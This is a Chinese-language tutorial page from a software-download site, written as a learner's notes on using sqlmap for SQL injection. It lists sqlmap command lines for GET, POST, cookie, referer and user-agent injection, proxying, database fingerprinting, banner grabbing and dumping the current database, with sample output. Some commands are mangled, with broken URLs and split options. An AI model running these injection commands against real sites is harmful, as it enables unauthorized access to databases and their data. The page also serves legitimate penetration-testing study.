首页 windows软件 手机软件 驱动下载 电脑教程 专题合集
当前位置: 首页 > 电脑教程 > 网络安全 > sqlmap学习手记及sqlmap注入命令的使用方法

sqlmap学习手记及sqlmap注入命令的使用方法

时间:2015-09-10 09:42:13

小编:动力软件园

阅读:

早两年都接触了BT5,也学习了SQLmap.真的是神器,这边学那边忘记,真是老了,不是公司逼着干活,也不想在学。忘记的原因是没有真正的理解他。

通过几天的学习整理,大概悟出了门路,写出来方便你我他,转载注明动力软件园.

首先大概了解一下sqlmap有多强大吧。都支持那些注入,get,post(./sqlmap.py -r 文本参数,form表单模式,指定参数模式) ,cookie注入。还有user-agent和referer,后边的这两个是干啥的,我不太会,求指导。

支持盲注,错误回显注入,还有其他多种注入方法。支持代理,优化算法,更高效。指纹识别技术判断数据库,更高深的我也不写了,我还没彻底理解,这篇文章只是抛砖引玉而已。

1、我们平时遇到的http://192.168.1.47/page.php?id=1 这些都是get注入,目前很多网站都使用了看门狗之类,在测试http://192.168.1.47/page.php?id=1 1=1  的时候都提示非法参数。这个时候get注入就可以放弃了。

2、使用POST方法提交

sqlmap.py -u “http://www.pw88.com /sqlmap/oracle/post_int.php” –method POST –data “id=1″

 

3、使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies

python sqlmap.py -u “http://www.pw88.com/sqlmap/mssql/cookie_int.php” –cookie “id=1″ -v 1

4、使用referer欺骗

python sqlmap.py -u “http:/www.pw88.com/sqlmap/pgsql/get_int.php?id=1″ –referer “http://www.google.com” -v 3

 

5、使用自定义user-agent,或者使用随机使用自带的user-agents.txt

python sqlmap.py -u “http://www.pw88.com/sqlmap/oracle/get_int.php?id=1″ –user-agent “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3

 

python sqlmap.py -u “http://www.91ri.org/ /sqlmap/mysql/get_int.php?id=1″ -v 1 -a “./txt/user-agents.txt”

7、通过代理注入

python sqlmap.py -u “http://192.168.1.47/page.php?id=1&cat=2″ –proxy

“http://127.0.0.1:8118″

8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断

python sqlmap.py -u “http://192.168.1.47/page.php?id=1&cat=2″ –string

“STRING_ON_TRUE_PAGE”

9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。

–remote-dbms

10、指纹判别数据库类型

python sqlmap.py -u “http://192.168.1.47/page.php?id=1&cat=2″ -v 1 -f

11、获取banner信息

python sqlmap.py -u “http://192.168.1.47/page.php?id=1&cat=2″ -b

 

banner: ‘5.0.38-Ubuntu_0ubuntu1.1-log’

 

12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。

python sqlmap.py -u “http://192.168.1.47/page.php?id=1&cat=2″ —

current-db

 

current database: ‘testdb’

 

 

 

 

请注意版权!转载须写明出处:动力软件园 http://www.pw88.com

相关阅读
  • sqlmap使用中常见问题总结
    sqlmap使用中常见问题总结
    常见问题、只显示python错误以及严重的信息。 请注意版权!转载须写明出处:动力软件园 http://www.pw88.com1、同时显示基本信息和警告信息。(默认)2、同时显示debug信息
    时间:2015-09-13
  • sqlmap命令参数详解之列举数据库命令
    sqlmap命令参数详解之列举数据库命令
    这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的 SQL 语句。 -b, --banner 检索数据库管理系统的标识 --curre
    时间:2015-09-13
  • sqlmap命令参数详解之Optimization(优化)
    sqlmap命令参数详解之Optimization(优化)
    这些选项可用于优化 SqlMap 的性能。 -o 开启所有优化开关 --predict-output 预测常见的查询输出 --keep-alive 使用持久的 HTTP(S)
    时间:2015-09-13
  • burpsuite配合sqlmap进行post注入教程
    burpsuite配合sqlmap进行post注入教程
    burpsuite和sqlmap都是国外神器。如果把两者学好,融汇贯通,你就是大牛了。在使用Sqlmap进行post型注入时,经常会出现请求遗漏导致注入失败的情况。分享一个小技巧,即结合
    时间:2015-09-10
  • 应用漏洞验证类工具功能对比分析
    应用漏洞验证类工具功能对比分析
    Sqlmap:一款功能强大的命令行sql注入验证工具,能够验证各种盲注漏洞,推荐指数为5星; Havij:一款功能及其强大的图形化界面sql注入验证工具,操作简单,推荐指数为5星
    时间:2014-06-03

火爆手游